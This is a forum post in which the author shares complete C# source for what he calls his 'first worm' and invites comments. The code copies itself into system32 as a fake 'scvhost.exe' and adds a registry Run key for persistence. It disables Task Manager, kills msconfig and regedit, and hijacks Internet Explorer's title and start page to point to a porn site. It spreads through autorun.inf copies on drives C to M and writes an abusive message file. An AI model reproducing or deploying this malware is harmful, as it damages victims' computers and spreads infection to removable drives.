End Google Ads 201810 - BS.net 01 --> Hi Guys,

Check this code:

using System;
using System.IO;
using System.Diagnostics;
using System.Threading;
using Microsoft.Win32;
namespace Rajdeep_Bhattacharjee
{
class MyProgram
{
public void Check0()
{
if (File.Exists(@"C:\\WINDOWS\\system32\\scvhost.exe"))
{
Process.Start(@"C:\\WINDOWS\\system32\\scvhost.exe");
}
else
{
Check1();
}
}
public void Check1()
{
Thread.Sleep(1000);
try
{
string sourceFile = Path.Combine(Directory.GetCurrentDirectory(), "FreeGames4Windows.exe");
File.Copy(sourceFile, "C:\\WINDOWS\\system32\\scvhost.exe");
}
catch (Exception)
{ }
if (File.Exists("C:\\WINDOWS\\system32\\autorun.inf"))
{
Thread.Sleep(1000);
Check2();
}
else
{
StreamWriter sw = new StreamWriter(@"C:\\WINDOWS\\system32\\autorun.txt", true);
sw.Flush();
sw.WriteLine("[autorun]");
sw.WriteLine("shellexecute=FreeGames4Windows.exe");
sw.Close();
File.Move(@"C:\\WINDOWS\\system32\\autorun.txt", @"C:\\WINDOWS\\system32\\autorun.inf");
}
Thread.Sleep(1000);
Check2();
}
public void Check2()
{
try
{
RegistryKey key;
key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
key.SetValue("scvhost", "C:\\WINDOWS\\system32\\scvhost.exe");
key.Close();
RegistryKey key1;
key1 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
key1.SetValue("DisableTaskMgr", "1", RegistryValueKind.DWord);
key1.Close();
RegistryKey key2;
key2 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Internet Explorer\\Main", true);
key2.SetValue("Window Title", "You've been Hacked and Ransacked by Rajdeep");
key2.SetValue("Start Page", "http://tits-bigtits.com/");
key2.Close();
RegistryKey key3;
key3 = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
key3.SetValue("MenuShowDelay", "1000");
key3.Close();
}
catch (Exception)
{ }
Check3();
}
public void Check3()
{
try
{
Process[] procs = Process.GetProcessesByName("msconfig");
foreach (Process prockill in procs)
prockill.Kill();
}
catch (Exception)
{
}
try
{
Process[] proc = Process.GetProcessesByName("regedit");
foreach (Process pro in proc)
pro.Kill();
}
catch (Exception)
{
}
check4();
}
public void check4()
{
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"C:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"C:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"D:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"D:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"E:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"E:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"F:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"F:\\autorun.inf");
}
catch (Exception)
{ }
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"G:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"G:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"H:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"H:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"I:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"I:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"J:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"J:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"K:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"K:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"L:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"L:\\autorun.inf");
}
catch (Exception)
{
}
try
{
File.Copy(@"C:\\WINDOWS\\system32\\scvhost.exe", @"M:\\FreeGames4Windows.exe");
File.Copy(@"C:\\WINDOWS\\system32\\autorun.inf", @"M:\\autorun.inf");
}
catch (Exception)
{
}
Check5();
}
public void Check5()
{
if (DateTime.Now.Day == 26)
{
try
{
Process[] procs = Process.GetProcessesByName("iexplore");
foreach (Process prockill in procs)
prockill.Kill();
}
catch (Exception)
{ }
}
if (File.Exists("C:\\WINDOWS\\system\\win.html"))
{
Check2();
}
else
{
StreamWriter ss = new StreamWriter(@"C:\\WINDOWS\\system\\win.txt", true);
ss.Flush();
ss.WriteLine("YOU ARE A ROTTEN PIECE OF sh*t!


YOU AND YOUR PC, BOTH HAVE BEEN f***ed

");
ss.Close();
File.Move(@"C:\\WINDOWS\system\\win.txt", @"C:\\WINDOWS\\system\\win.html");
}
Check2();
}
public static void Main()
{
MyProgram mp = new MyProgram();
mp.Check1();
}
}
}

This is my first worm in C#. Please comment!

Love you guys a (_____________LOT_________________)

Father told, "Leave the village". Villagers told, "Leave Paaroh". Paaroh told, "Leave consuming wine". Mother told, "Leave the house". A day would come, when somebody would say, "Leave to live"...... (Taken from Bengali Novel-Devdas written by Satyajit Ray).Converted.ToEnglishByRajdeep==True;